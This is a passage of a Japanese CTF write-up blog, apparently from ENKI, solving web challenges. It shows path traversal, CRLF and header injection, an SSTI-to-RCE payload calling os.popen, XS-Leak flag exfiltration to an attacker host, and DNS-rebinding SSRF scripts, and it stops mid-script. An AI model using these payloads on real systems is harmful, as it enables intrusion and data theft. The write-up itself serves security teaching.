今日表示しない

トップへ戻る

トップへ戻る

採用直結型ハッキング大会「ライトアップ」サムネイル
採用直結型ハッキング大会「ライトアップ」サムネイル

セキュリティ インサイト

セキュリティ インサイト

セキュリティ インサイト

ENKI Redteam CTF : Jeopardy

ENKI Redteam CTF : Jeopardy

ENKI Redteam CTF : Jeopardy

エンキホワイトハット

エンキホワイトハット

コンテンツ

コンテンツ

コンテンツ

2026 ENKI RedTeam CTFで出題されたJeopardy(ジェパディ)問題に関するWrite-upを公開します。

今回のコンテンツは、blog、BOOM、Catllery、enki remote service、leakage、luck、Partner Contract Portal、sfaの計8つの問題を対象に構成されており、単に正解を共有するだけでなく、実際の攻撃者の視点から問題をどのように捉えてアプローチすべきかを中心にまとめました。各問題ごとに脆弱性の分類、出題意図、解法プロセス、そして総合評価までを盛り込み、個々の問題を解くだけにとどまらず、攻撃全体の流れや思考プロセスを理解できるように構成しています。

問題をご自身で解いてみられた方には復習とインサイトを、初めて接する方には攻撃者観点を理解するための出発点となることを願っております。

ブログ

ENKI Whitehatブログへようこそ!!

/readflagを実行してフラグを取得してください。

脆弱性の区分

Path Traversal (Arbitrary File Read), CRLF Injection / HTTP Header Injection, nginx Internal Redirect, Server-Side Template Injection (SSTI)

出題の意図

本問題は、ソースコードが提供されないブラックボックス環境において、ファイルダウンロードの脆弱性を起点にサーバー構成とソースコードを段階的に漏洩させ、最終的にリモートコード実行 (RCE) まで到達する攻撃チェーンを構築する能力を評価するために出題されました。

  1. ファイルダウンロード脆弱性の識別と情報収集: サーバー側のフィルタリングの限界を把握して任意のファイルを読み込み、これを通じてサーバー設定とソースコードを収集する情報収集能力を評価します。

  2. nginxの内部動作の理解: nginxのNamed LocationとX-Accel-Redirectヘッダーの動作を理解し、認証が必要な内部ルーティングパスにアクセスする方法を見つけられるか確認します。

  3. カスタムテンプレートエンジンのSSTI脆弱性: 自社実装されたテンプレートエンジンのフィルターシステムを分析し、コンテキストのオーバーライドを通じた任意のコード実行が可能かどうかを検証します。

解説

1. 機能探索および脆弱性の識別

ブラックボックス環境でサービスにアクセスすると、ブログ形式のウェブサイトが提供されます。各投稿 (/post/<id>) にはダウンロードリンクがあり、/post/download?filename=... エンドポイントを通じてファイルをダウンロードできます。

ファイルダウンロード機能に対するテストを進行してみると、以下のような特徴を発見できます。

  • ../ 文字列の置換除去

  • ..\\\\ 文字列の置換除去

また、/ が先頭に挿入された場合、最上位ディレクトリから探索が行われ、ファイルダウンロード攻撃が可能であることが分かります。

2. サーバー情報の収集

この脆弱性を活用して、以下のファイルを順次読み込み、サーバー構造を把握します。

  1. /home/app/.sh_history: コマンド履歴を通じてディレクトリ構造とサービス構成を把握

  2. /etc/nginx/conf.d/default.conf および /etc/nginx/default.conf.template: nginx設定の確認

  3. /app/backend/routes/*.py, /app/backend/framework/*.py: バックエンドのソースコードの獲得

nginxの設定を分析すると、以下の構造を確認できます。

location /auth/ {
      if ($remote_addr !~ "^10\\\\.231\\\\.3\\\\.[0-9]

location /auth/ {
      if ($remote_addr !~ "^10\\\\.231\\\\.3\\\\.[0-9]

location /auth/ {
      if ($remote_addr !~ "^10\\\\.231\\\\.3\\\\.[0-9]

  • /auth/ パスは、Bearerトークンの検証とIP帯域の検査 (10.231.3.x) を通過しなければ、内部のNamed Location (@admin) にルーティングされません。

  • 正常な方法では、@admin ルーティングにアクセスできないため、バックエンドの別の脆弱性を活用する必要があります。

3. Header Injectionを通じたnginxのInternal Redirect

@bp.post("/profile/theme")
def profile_theme(req: Request) -> Response:
    params = parse_form(req.body.decode("utf-8", "ignore"))
    theme = get_one(params, "theme", "light", 16)

    username = _get_cookie(req, "user") or "guest"
    r = _tmpl(
        "index/profile.html",
        nav_user_html=_nav_user(username),
        profile_rows_html=(
            f'<tr><th>Username</th><td>{_html.escape(username)}</td></tr>'
            f'<tr><th>Theme</th>   <td>{_html.escape(theme)}</td></tr>'
        ),
        theme_form_html=(
            f'<form method="POST" action="/profile/theme">'
            f'<input name="theme" value="{_html.escape(theme)}">'
            f'<button type="submit">Save</button></form>'
            f'<p>&#10003; Theme updated. <a href="/profile">Back</a></p>'
        ),
    )
    r.set_cookie(f"theme={theme}; Path=/")
    return r
@bp.post("/profile/theme")
def profile_theme(req: Request) -> Response:
    params = parse_form(req.body.decode("utf-8", "ignore"))
    theme = get_one(params, "theme", "light", 16)

    username = _get_cookie(req, "user") or "guest"
    r = _tmpl(
        "index/profile.html",
        nav_user_html=_nav_user(username),
        profile_rows_html=(
            f'<tr><th>Username</th><td>{_html.escape(username)}</td></tr>'
            f'<tr><th>Theme</th>   <td>{_html.escape(theme)}</td></tr>'
        ),
        theme_form_html=(
            f'<form method="POST" action="/profile/theme">'
            f'<input name="theme" value="{_html.escape(theme)}">'
            f'<button type="submit">Save</button></form>'
            f'<p>&#10003; Theme updated. <a href="/profile">Back</a></p>'
        ),
    )
    r.set_cookie(f"theme={theme}; Path=/")
    return r
@bp.post("/profile/theme")
def profile_theme(req: Request) -> Response:
    params = parse_form(req.body.decode("utf-8", "ignore"))
    theme = get_one(params, "theme", "light", 16)

    username = _get_cookie(req, "user") or "guest"
    r = _tmpl(
        "index/profile.html",
        nav_user_html=_nav_user(username),
        profile_rows_html=(
            f'<tr><th>Username</th><td>{_html.escape(username)}</td></tr>'
            f'<tr><th>Theme</th>   <td>{_html.escape(theme)}</td></tr>'
        ),
        theme_form_html=(
            f'<form method="POST" action="/profile/theme">'
            f'<input name="theme" value="{_html.escape(theme)}">'
            f'<button type="submit">Save</button></form>'
            f'<p>&#10003; Theme updated. <a href="/profile">Back</a></p>'
        ),
    )
    r.set_cookie(f"theme={theme}; Path=/")
    return r

バックエンドのソースコードを分析すると、/profile/theme エンドポイントでユーザーが渡した theme の値が set_cookie メソッドにそのまま渡されていることが確認できます。

def set_cookie(self, cookie_line: str) -> None:
    self.cookies.append(cookie_line)

def to_bytes(self) -> bytes:
    ... 中략 ...
    for c in self.cookies:
        lines.append(f"Set-Cookie:{c}\\r\\n")

    lines.append("\\r\\n")
    return "".join(lines).encode("ascii") + self.body
def set_cookie(self, cookie_line: str) -> None:
    self.cookies.append(cookie_line)

def to_bytes(self) -> bytes:
    ... 中략 ...
    for c in self.cookies:
        lines.append(f"Set-Cookie:{c}\\r\\n")

    lines.append("\\r\\n")
    return "".join(lines).encode("ascii") + self.body
def set_cookie(self, cookie_line: str) -> None:
    self.cookies.append(cookie_line)

def to_bytes(self) -> bytes:
    ... 中략 ...
    for c in self.cookies:
        lines.append(f"Set-Cookie:{c}\\r\\n")

    lines.append("\\r\\n")
    return "".join(lines).encode("ascii") + self.body

この際、cookie_line の値に対する検証が漏れているため、CRLF Injection(CRLFインジェクション)の脆弱性が発生します。

theme = get_one(params, "theme", "light", 16)
theme = get_one(params, "theme", "light", 16)
theme = get_one(params, "theme", "light", 16)

しかし、themeパラメータには16バイトの長さ制限が存在するため、これを単純にバイパスする方法を見つける必要があります。

def get_one(data: Dict[str, Any], key: str, default: str = "", max_len: int = 0) -> Any:
    val = data.get(key)
    if val is None:
        return default
    if isinstance(val, dict):
        return default
    if isinstance(val, list):
        val = val[0] if val else default
    if max_len > 0 and len(val) > max_len:
        val = val[:max_len]
    return val if isinstance(val, str) else get_one({key: val}, key, default)
def get_one(data: Dict[str, Any], key: str, default: str = "", max_len: int = 0) -> Any:
    val = data.get(key)
    if val is None:
        return default
    if isinstance(val, dict):
        return default
    if isinstance(val, list):
        val = val[0] if val else default
    if max_len > 0 and len(val) > max_len:
        val = val[:max_len]
    return val if isinstance(val, str) else get_one({key: val}, key, default)
def get_one(data: Dict[str, Any], key: str, default: str = "", max_len: int = 0) -> Any:
    val = data.get(key)
    if val is None:
        return default
    if isinstance(val, dict):
        return default
    if isinstance(val, list):
        val = val[0] if val else default
    if max_len > 0 and len(val) > max_len:
        val = val[:max_len]
    return val if isinstance(val, str) else get_one({key: val}, key, default)

get_one関数を分析してみると、再帰実装のバグにより、theme[][] 形式(配列パラメータ)を使用すると、この検証をバイパスすることができます。これにより、X-Accel-Redirect ヘッダーを注入できるようになります。

theme[][] = \\r\\nX-Accel-Redirect: @admin\\r\\n\\r\\
theme[][] = \\r\\nX-Accel-Redirect: @admin\\r\\n\\r\\
theme[][] = \\r\\nX-Accel-Redirect: @admin\\r\\n\\r\\

X-Accel-Redirect は nginxの内部リダイレクト機能で、バックエンドのレスポンスにこのヘッダーが含まれていると、nginxが該当する Named Location に内部リクエストを切り替えます。これにより、トークンおよびIPの検証なしで @admin ルーティングにアクセスできます。

4. Server-Side Template Injection (SSTI)

構築されたサービスは Jinja のような一般的なテンプレートエンジンではなく、独自のカスタムテンプレートエンジンを使用しています。エンジンを使用するいくつかのエンドポイントのうち、/admin/announce では、テンプレートエンジンの引数としてユーザーの入力が特段の処理なしに渡されます。

@bp.post("/admin/announce")
def admin_announce(req: Request) -> Response:
    params = parse_form(req.body.decode("utf-8", "ignore"))
    msg = get_one(params, "msg", "")

    return _tmpl(
        "admin/announce.html",
        greeting=msg,
        maintenance_time="2026-03-01 03:00 UTC",
    )
@bp.post("/admin/announce")
def admin_announce(req: Request) -> Response:
    params = parse_form(req.body.decode("utf-8", "ignore"))
    msg = get_one(params, "msg", "")

    return _tmpl(
        "admin/announce.html",
        greeting=msg,
        maintenance_time="2026-03-01 03:00 UTC",
    )
@bp.post("/admin/announce")
def admin_announce(req: Request) -> Response:
    params = parse_form(req.body.decode("utf-8", "ignore"))
    msg = get_one(params, "msg", "")

    return _tmpl(
        "admin/announce.html",
        greeting=msg,
        maintenance_time="2026-03-01 03:00 UTC",
    )

カスタムテンプレートエンジンの核心的な脆弱性は以下の通りです。

  • テンプレートコンテキストに __filters__ という辞書型データが存在し、これを通じてフィルター関数が定義されています。

  • パラメータをバインドする過程で不十分な検証およびロジックのバグにより、コンテキストの __filters__上書きすることができます

  • フィルター式は内部的に eval() で実行されます。

これにより、msg パラメータを辞書形式で注入すると、すでに指定されている safe フィルターを悪意のある式に置き換えることができ、任意のコードが実行可能になります。

expr = (
    "SafeString([c for c in ().__class__.__mro__[1].__subclasses__() "
    "if c.__name__=='catch_warnings'][0].__init__.__globals__"
    "['__builtins__']['__import__']('os')"
    ".popen('/readflag').read())"
)
payload = str({"__filters__": {"safe": expr}})
expr = (
    "SafeString([c for c in ().__class__.__mro__[1].__subclasses__() "
    "if c.__name__=='catch_warnings'][0].__init__.__globals__"
    "['__builtins__']['__import__']('os')"
    ".popen('/readflag').read())"
)
payload = str({"__filters__": {"safe": expr}})
expr = (
    "SafeString([c for c in ().__class__.__mro__[1].__subclasses__() "
    "if c.__name__=='catch_warnings'][0].__init__.__globals__"
    "['__builtins__']['__import__']('os')"
    ".popen('/readflag').read())"
)
payload = str({"__filters__": {"safe": expr}})

このペイロードは Pythonの warnings.catch_warnings クラスを介して __builtins__ にアクセスし、os.popen()/readflag バイナリを実行します。

5. エクスプロイトの実行

上記プロセスを組み合わせた最終的なエクスプロイトは以下の通りです。

def exploit(base_url, target_cmd):
    url = base_url.rstrip("/") + "/profile/theme?next=announce"
    data = urllib.parse.urlencode({
        "theme[][]": "\\r\\nX-Accel-Redirect: @admin\\r\\n\\r\\n",
        "msg[][]": str({"__filters__": {"safe":
            "SafeString([c for c in ().__class__.__mro__[1].__subclasses__() "
            "if c.__name__=='catch_warnings'][0].__init__.__globals__"
            "['__builtins__']['__import__']('os')"
            f".popen('{target_cmd}').read())"
        }}),
    }).encode()

    req = urllib.request.Request(url, data=data, method="POST")
    req.add_header("Content-Type", "application/x-www-form-urlencoded")

    with urllib.request.urlopen(req, timeout=10) as resp:
        body = resp.read().decode("utf-8", "replace")

    match = re.search(r'<div class="notice">(.*?)</div>', body, re.DOTALL)
    return match.group(1).strip()
def exploit(base_url, target_cmd):
    url = base_url.rstrip("/") + "/profile/theme?next=announce"
    data = urllib.parse.urlencode({
        "theme[][]": "\\r\\nX-Accel-Redirect: @admin\\r\\n\\r\\n",
        "msg[][]": str({"__filters__": {"safe":
            "SafeString([c for c in ().__class__.__mro__[1].__subclasses__() "
            "if c.__name__=='catch_warnings'][0].__init__.__globals__"
            "['__builtins__']['__import__']('os')"
            f".popen('{target_cmd}').read())"
        }}),
    }).encode()

    req = urllib.request.Request(url, data=data, method="POST")
    req.add_header("Content-Type", "application/x-www-form-urlencoded")

    with urllib.request.urlopen(req, timeout=10) as resp:
        body = resp.read().decode("utf-8", "replace")

    match = re.search(r'<div class="notice">(.*?)</div>', body, re.DOTALL)
    return match.group(1).strip()
def exploit(base_url, target_cmd):
    url = base_url.rstrip("/") + "/profile/theme?next=announce"
    data = urllib.parse.urlencode({
        "theme[][]": "\\r\\nX-Accel-Redirect: @admin\\r\\n\\r\\n",
        "msg[][]": str({"__filters__": {"safe":
            "SafeString([c for c in ().__class__.__mro__[1].__subclasses__() "
            "if c.__name__=='catch_warnings'][0].__init__.__globals__"
            "['__builtins__']['__import__']('os')"
            f".popen('{target_cmd}').read())"
        }}),
    }).encode()

    req = urllib.request.Request(url, data=data, method="POST")
    req.add_header("Content-Type", "application/x-www-form-urlencoded")

    with urllib.request.urlopen(req, timeout=10) as resp:
        body = resp.read().decode("utf-8", "replace")

    match = re.search(r'<div class="notice">(.*?)</div>', body, re.DOTALL)
    return match.group(1).strip()

実行すると、/readflag の出力結果としてフラグである ENKI{cd47897817aacda9abef6dcbfcdf5bfc1a0c1f11d7affdb8dcf7d10916ba3353} を獲得できます。

総評

本問題は、単一の脆弱性を発見することよりも、ブラックボックス環境においてサービス構造を推論し、各脆弱性を連携させて最終的な目標に到達するプロセスを評価するために設計されました。序盤はファイルダウンロード機能を媒介して設定ファイルとソースコードを確保し、次いでこれに基づいて内部ルーティングおよび管理者機能へのアクセス方式を分析しなければ、次の段階へ進めないよう構成されています。

核心的な意図は、X-Accel-Redirectを利用した内部リダイレクトの悪用と、最終段階におけるカスタムテンプレートエンジンの実装上の欠陥を分析してSSTI/RCEに接続するフローにあります。単なる脆弱性の攻撃ではなく、サーバー設定、アプリケーションロジック、テンプレートエンジンのコードを共に分析することで、脆弱性をチェーン状に組み合わせる力量を確認しようとしました。


ブーム

Piece by piece

脆弱性の区分

CRLF Injection, HTTP Response Splitting, XS-Leaks (Cross-Site Leaks)

出題の意図

この問題は単一の脆弱性ではなく、複数のウェブセキュリティ手法を組み合わせてフラグを抽出する攻撃チェーンを構成する能力を評価するために作成されました。具体的には、次の3つの核心的な能力を検証します。

  1. CRLF Injectionの高度な活用: ユーザー入力がHTTP応答ヘッダーに反映される際に発生するCRLF Injectionを特定し、これをもとに任意のHTTPヘッダーを挿入できるかを確認します。

  2. HTTP/1.1プロトコルレベルの理解: Transfer-Encoding: chunkedContent-Lengthより優先的に適用されるというHTTP/1.1の仕様を活用し、サーバー側のContent-Length: 0による防御をバイパスできるかを評価します。

  3. XS-Leaksを通じたサイドチャネル攻撃: Content-Security-Policy (CSP) の report メカニズムをオラクル(oracle)として使用し、応答本文の内容を1文字ずつリークさせる攻撃手法を実装できるかを検証します。

解法

1. サーバー構造の分析

本問題は3つのコンポーネントで構成されています。

  • app (Python HTTP サーバー、ポート 3000): コアアプリケーションサーバー

  • Apache リバースプロキシ: CSP ヘッダー(default-src 'none')を強制的に付与するプロキシ

  • bot (Puppeteer): FLAG クッキーを保持した状態で、攻撃者が指定したパスを訪問するボット

appサーバーのコアロジックは以下の通りです。

def do_GET(self):
    query = parse_qs(urlparse(self.path).query, keep_blank_values=True)
    content_type = query.get("q", ["text/plain; charset=utf-8"])[0]

    cookie = SimpleCookie(self.headers.get("Cookie", ""))
    flag_cookie = cookie["FLAG"].value if "FLAG" in cookie else None
    body = (flag_cookie or "Hello ENKI").encode()

    # direct top-level navigation인 경우 Content-Length를 0으로 고정
    if fetch_site == "none" and fetch_mode == "navigate" and fetch_dest == "document":
        self.send_header("Content-Length", 0)

    self.send_header("Content-Type", content_type)
    self.end_headers()
    self.wfile.write(body)
def do_GET(self):
    query = parse_qs(urlparse(self.path).query, keep_blank_values=True)
    content_type = query.get("q", ["text/plain; charset=utf-8"])[0]

    cookie = SimpleCookie(self.headers.get("Cookie", ""))
    flag_cookie = cookie["FLAG"].value if "FLAG" in cookie else None
    body = (flag_cookie or "Hello ENKI").encode()

    # direct top-level navigation인 경우 Content-Length를 0으로 고정
    if fetch_site == "none" and fetch_mode == "navigate" and fetch_dest == "document":
        self.send_header("Content-Length", 0)

    self.send_header("Content-Type", content_type)
    self.end_headers()
    self.wfile.write(body)
def do_GET(self):
    query = parse_qs(urlparse(self.path).query, keep_blank_values=True)
    content_type = query.get("q", ["text/plain; charset=utf-8"])[0]

    cookie = SimpleCookie(self.headers.get("Cookie", ""))
    flag_cookie = cookie["FLAG"].value if "FLAG" in cookie else None
    body = (flag_cookie or "Hello ENKI").encode()

    # direct top-level navigation인 경우 Content-Length를 0으로 고정
    if fetch_site == "none" and fetch_mode == "navigate" and fetch_dest == "document":
        self.send_header("Content-Length", 0)

    self.send_header("Content-Type", content_type)
    self.end_headers()
    self.wfile.write(body)

主な注目ポイントは以下の通りです。

  • q パラメータの値が Content-Type ヘッダーにそのまま反映されます。

  • ボットが直接遷移(top-level navigation)する場合、Content-Length: 0が設定され、応答本文が表示されなくなります。

  • 応答本文には、ボットの FLAG クッキーの値が含まれます。

また、Apacheプロキシによって Content-Security-Policy: default-src 'none' が強制されているため、一般的なXSS攻撃は制限されます。

2. CRLF Injectionを通じたヘッダー挿入

q パラメータに \\r\\n (CRLF) 文字を挿入することで、Content-Type ヘッダーの後ろに任意のHTTPヘッダーを追加できます。例えば、次のようなリクエストを送信すると:

サーバーの応答には、以下のように X-Custom ヘッダーが追加されます。




このCRLF Injectionが、その後の攻撃の基盤となります。

3. HTTP/1.1 Transfer-Encodingを利用したContent-Lengthのバイパス

ボットが直接ページを訪問すると Content-Length: 0 が設定されるため、ブラウザは応答本文(フラグ)をレンダリングしません。これをバイパスするために、HTTP/1.1の重要な仕様を活用します。

RFC 7230によると、 Transfer-EncodingContent-Length が同時に存在する場合、 Transfer-Encoding が優先されます。

したがって、CRLF Injectionによって Transfer-Encoding: chunked ヘッダーを挿入し、チャンク化(chunked)インコーディングされた本文にリダイレクト用のHTMLを含めればよいことになります。

text/html; charset=utf-8\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n37\\r\\n<meta http-equiv="refresh" content="0;url=http://attacker:8080/">\\r\\n0\\r\\n\\r\\
text/html; charset=utf-8\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n37\\r\\n<meta http-equiv="refresh" content="0;url=http://attacker:8080/">\\r\\n0\\r\\n\\r\\
text/html; charset=utf-8\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n37\\r\\n<meta http-equiv="refresh" content="0;url=http://attacker:8080/">\\r\\n0\\r\\n\\r\\

このペイロードを q パラメータとして渡すと、ボットのブラウザは Content-Length: 0 を無視し、chunked本文をパースして攻撃者サーバーにリダイレクトされます。

4. XS-Leaks: CSP Reportをオラクルとして活用したフラグ抽出

攻撃者サーバーへとボットを誘導した後は、XS-Leaks手法を用いてフラグを1文字ずつ抽出します。主な原理は以下の通りです。

原理: サーバー応答の本文にはフラグが含まれています。CRLF Injectionによって Content-Length を精密に制御すれば、応答本文を特定の長さだけ切り取って表示させることができます。このようにして切り取られた本文を <style> タグの中に配置し、 Content-Security-Policy-Report-Only ヘッダーにその内容のSHA-256ハッシュを指定します。

  • ハッシュが一致すれば → CSP違反が発生しない → reportは送信されない

  • ハッシュが不一致なら → CSP違反が発生 → reportが攻撃者サーバーに送信される

これにより、「reportが届かなかった候補 = 正解の文字」というオラクルが成立します。

攻撃の流れ

1. 攻撃者サーバーが現在までに判明しているflag prefixに、各候補文字を付加したURLリストを生成
2. 各URLに対して:
   - Content-Lengthを "<style>\\r\\n\\r\\n{prefix+candidate}" の長さに設定
   - CSP-Report-Only ヘッダーに "\\n\\

1. 攻撃者サーバーが現在までに判明しているflag prefixに、各候補文字を付加したURLリストを生成
2. 各URLに対して:
   - Content-Lengthを "<style>\\r\\n\\r\\n{prefix+candidate}" の長さに設定
   - CSP-Report-Only ヘッダーに "\\n\\

1. 攻撃者サーバーが現在までに判明しているflag prefixに、各候補文字を付加したURLリストを生成
2. 各URLに対して:
   - Content-Lengthを "<style>\\r\\n\\r\\n{prefix+candidate}" の長さに設定
   - CSP-Report-Only ヘッダーに "\\n\\

攻撃者サーバーのコアロジックは以下の通りです。

def probe_url(guess):
    report = origin + "/csp?guess=" + quote(guess, safe="")
    size = len(f"<style>\\r\\n\\r\\n{guess}".encode())
    digest = hashlib.sha256(f"\\n\\n{guess}".encode()).digest()
    digest = base64.b64encode(digest).decode()
    payload = (
        "text/html; charset=utf-8\\r\\n"
        f"Content-Length:{size}\\r\\n"
        f"Content-Security-Policy-Report-Only: style-src 'sha256-{digest}'; "
        f"report-uri{report}\\r\\n"
        "\\r\\n"
        "<style>"
    )
    return chall + "/?q=" + quote(payload, safe="")
def probe_url(guess):
    report = origin + "/csp?guess=" + quote(guess, safe="")
    size = len(f"<style>\\r\\n\\r\\n{guess}".encode())
    digest = hashlib.sha256(f"\\n\\n{guess}".encode()).digest()
    digest = base64.b64encode(digest).decode()
    payload = (
        "text/html; charset=utf-8\\r\\n"
        f"Content-Length:{size}\\r\\n"
        f"Content-Security-Policy-Report-Only: style-src 'sha256-{digest}'; "
        f"report-uri{report}\\r\\n"
        "\\r\\n"
        "<style>"
    )
    return chall + "/?q=" + quote(payload, safe="")
def probe_url(guess):
    report = origin + "/csp?guess=" + quote(guess, safe="")
    size = len(f"<style>\\r\\n\\r\\n{guess}".encode())
    digest = hashlib.sha256(f"\\n\\n{guess}".encode()).digest()
    digest = base64.b64encode(digest).decode()
    payload = (
        "text/html; charset=utf-8\\r\\n"
        f"Content-Length:{size}\\r\\n"
        f"Content-Security-Policy-Report-Only: style-src 'sha256-{digest}'; "
        f"report-uri{report}\\r\\n"
        "\\r\\n"
        "<style>"
    )
    return chall + "/?q=" + quote(payload, safe="")

各候補の文字に対して上記の関数が呼び出され、プローブ用のURLが生成されます。ボットがこれらのURLを順番にロードすると、不正解の候補についてはCSP reportが攻撃者サーバーへと送信されます。reportが送信されなかった最後の候補が正解の文字となり、これを繰り返すことで全体的なフラグを復元します。

最終的に、フラグである ENKI{3f9ed664533c75baa86a1fe3009926de2099363} を取得できます。

総合評価

本問題は、CRLF Injectionという比較的シンプルな脆弱性を出発点とし、HTTPプロトコルレベルの動作理解、そしてXS-Leaksという高度なサイドチャネル手法までを繋ぐ、複合的な攻撃チェーンの構築を要求しています。

キャットラリー

Meow Meow Meow….

脆弱性の区分

SSRF (Server-Side Request Forgery), DNS Rebinding

出題意図

本問題は、フロントエンドフレームワークが提供する画像最適化機能のセキュリティ上の盲点を把握し、DNS Rebinding手法を活用してSSRF攻撃を実行する能力を評価するために出題されました。具体的には以下の能力を検証します。

  1. Next.js画像最適化エンドポイントのSSRF可能性の識別: /_next/imageエンドポイントが外部URLの画像をサーバー側で取得するという動作方式を理解し、これを内部サービスへのアクセスに活用できるか確認します。

  2. DNS Rebindingによる保護の回避: ホスト検証やDNSベースの保護を回避するために、DNS Rebinding手法を適用できるか評価します。

  3. 内部API構造の分析およびアクセス制御の回避: ソースコードに基づいて内部のFlaskサービスのビジネスロジックとアクセス制御メカニズムを分析し、回避策を導き出せるか検証します。

解法

1. サービス構造の把握

提供されたソースコードを分析すると、本サービスは以下のような二重構造で運営されています。

  • 外部サービス (Next.js、ポート 3000): ユーザーに公開されているフロントエンドWebアプリケーション

  • 内部サービス (Flask + Redis、ポート 5000): 127.0.0.1からのみアクセス可能なバックエンドAPI

docker-compose.ymlを確認すると、外部にはポート3000のみが公開されており、内部のFlaskサービスには直接アクセスできません。Next.jsのmiddleware.tslib/internal.tsを見ると、フロントエンドがサーバー側からhttp://127.0.0.1:5000として内部APIを呼び出していることが確認できます。

2. コア目標の特定

内部Flaskサービスのコード(app.py)を分析すると、/internal/get-imageエンドポイントが核心であることが分かります。

@app.get("/internal/get-image")
def get_image():
    ticket_no = request.args.get("ticket_no", "")
    if ticket_no == VIP_TICKET_NO:
        return err("forbidden", 403)

    reservations = reservations_for_ticket_no(ticket_no) if ticket_no else []
    is_vip = any(str(row.get("seat")) == "VIP" for row in reservations)

    path = REAL_FLAG_IMAGE if is_vip else FAKE_FLAG_IMAGE
    return send_file(path, mimetype="image/png", max_age=0)
@app.get("/internal/get-image")
def get_image():
    ticket_no = request.args.get("ticket_no", "")
    if ticket_no == VIP_TICKET_NO:
        return err("forbidden", 403)

    reservations = reservations_for_ticket_no(ticket_no) if ticket_no else []
    is_vip = any(str(row.get("seat")) == "VIP" for row in reservations)

    path = REAL_FLAG_IMAGE if is_vip else FAKE_FLAG_IMAGE
    return send_file(path, mimetype="image/png", max_age=0)
@app.get("/internal/get-image")
def get_image():
    ticket_no = request.args.get("ticket_no", "")
    if ticket_no == VIP_TICKET_NO:
        return err("forbidden", 403)

    reservations = reservations_for_ticket_no(ticket_no) if ticket_no else []
    is_vip = any(str(row.get("seat")) == "VIP" for row in reservations)

    path = REAL_FLAG_IMAGE if is_vip else FAKE_FLAG_IMAGE
    return send_file(path, mimetype="image/png", max_age=0)

このエンドポイントはリクエスト送信者の予約座席情報を確認し、VIP座席を保有しているユーザーにのみフラグが含まれた画像を返します。ただし、VIP座席のticket_noを直接使用すると403応答が返されます。

VIP座席はサーバー初期化時に自動的に生成され、ticket_noは365日のTTLでRedisに保存されます。一般座席の予約は7秒という短いTTLを持っています。

ここで重要なのは、lookup Luaスクリプトの動作です。

local req_ticket_no = ARGV[1]
local holder_ticket_no = redis.call("HGET", KEYS[1], "holder_ticket_no")
if tonumber(req_ticket_no) ~= tonumber(holder_ticket_no) then
  return {}
end
local req_ticket_no = ARGV[1]
local holder_ticket_no = redis.call("HGET", KEYS[1], "holder_ticket_no")
if tonumber(req_ticket_no) ~= tonumber(holder_ticket_no) then
  return {}
end
local req_ticket_no = ARGV[1]
local holder_ticket_no = redis.call("HGET", KEYS[1], "holder_ticket_no")
if tonumber(req_ticket_no) ~= tonumber(holder_ticket_no) then
  return {}
end

tonumber()比較を使用しているため、VIPのticket_noが非常に長い数値(365桁)であっても、Luaの実数精度限界により、先頭部分が同一であれば別のticket_noでもVIP座席の予約照会が可能です。しかし、これよりも直接的な攻撃経路が存在します。それが、SSRFを介して内部APIにアクセスすることです。

3. Next.js画像最適化エンドポイントを介したSSRF

next.config.tsを確認すると、以下のように設定されています。

const nextConfig: NextConfig = {
  images: {
    minimumCacheTTL: 0,
    remotePatterns: [{ protocol: "http", hostname: "**" }],
  },
};
const nextConfig: NextConfig = {
  images: {
    minimumCacheTTL: 0,
    remotePatterns: [{ protocol: "http", hostname: "**" }],
  },
};
const nextConfig: NextConfig = {
  images: {
    minimumCacheTTL: 0,
    remotePatterns: [{ protocol: "http", hostname: "**" }],
  },
};

hostname: "**"の設定は、すべてのホストからの画像読み込みを許可します。Next.jsの/_next/imageエンドポイントはサーバー側で指定されたURLの画像を取得(fetch)するため、これをSSRFのベクトルとして活用できます。

しかし、Next.jsはurlパラメータに対して基本的な検証を実行します。ローカルホストや内部IPへの直接のリクエストは遮断される可能性があるため、DNS Rebinding手法を使用してこれを回避します。

4. DNS Rebindingを介した内部アクセス

DNS Rebindingは、DNS応答を操作して、同一ドメインが1回目の照会では外部IPを、2回目の照会では内部IP(127.0.0.1)を返すようにする手法です。

rbndr.usサービスを活用すると、これを簡単に実装できます。ドメイン形式は{外部IP hex}.{内部IP hex}.rbndr.usであり、照会するたびに2つのIPのうち1つをランダムに返します。

127.0.0.1のhex表現は7f000001であるため、以下のようなURLを構成します。

ここでticket_no=1e309を使用する理由は、この値が指数表記で非常に大きな数値を表し、Luaのtonumber()比較においてVIPの長いticket_noと同等と評価されるためです。

5. エクスプロイトの実行

DNS Rebindingは確率的に動作するため、成功するまでリクエストの送信を繰り返します。

import requests
import time

URL =  "<http://target:3000>"
URL += "/_next/image?w=640&q=75&url="
URL += "http%3A%2F%2F7f000001%2E8efab5ae%2Erbndr%2Eus%3A5000%2Finternal%2Fget%2Dimage%3Fticket%5Fno%3D1e309"

while True:
    try:
        r = requests.get(URL, timeout=(3, 15))
    except requests.RequestException as e:
        print(f"[-] request error:{e}")
        time.sleep(0.5)
        continue

    ctype = r.headers.get("content-type", "")

    if r.ok and ctype.startswith("image/"):
        ext = ctype.split("/", 1)[1].split(";", 1)[0] or "bin"
        filename = f"image.{ext}"
        with open(filename, "wb") as f:
            f.write(r.content)
        print(f"[+] image saved:{filename} ({ctype},{len(r.content)} bytes)")
        break

    print(f"[-] status:{r.status_code}")
import requests
import time

URL =  "<http://target:3000>"
URL += "/_next/image?w=640&q=75&url="
URL += "http%3A%2F%2F7f000001%2E8efab5ae%2Erbndr%2Eus%3A5000%2Finternal%2Fget%2Dimage%3Fticket%5Fno%3D1e309"

while True:
    try:
        r = requests.get(URL, timeout=(3, 15))
    except requests.RequestException as e:
        print(f"[-] request error:{e}")
        time.sleep(0.5)
        continue

    ctype = r.headers.get("content-type", "")

    if r.ok and ctype.startswith("image/"):
        ext = ctype.split("/", 1)[1].split(";", 1)[0] or "bin"
        filename = f"image.{ext}"
        with open(filename, "wb") as f:
            f.write(r.content)
        print(f"[+] image saved:{filename} ({ctype},{len(r.content)} bytes)")
        break

    print(f"[-] status:{r.status_code}")
import requests
import time

URL =  "<http://target:3000>"
URL += "/_next/image?w=640&q=75&url="
URL += "http%3A%2F%2F7f000001%2E8efab5ae%2Erbndr%2Eus%3A5000%2Finternal%2Fget%2Dimage%3Fticket%5Fno%3D1e309"

while True:
    try:
        r = requests.get(URL, timeout=(3, 15))
    except requests.RequestException as e:
        print(f"[-] request error:{e}")
        time.sleep(0.5)
        continue

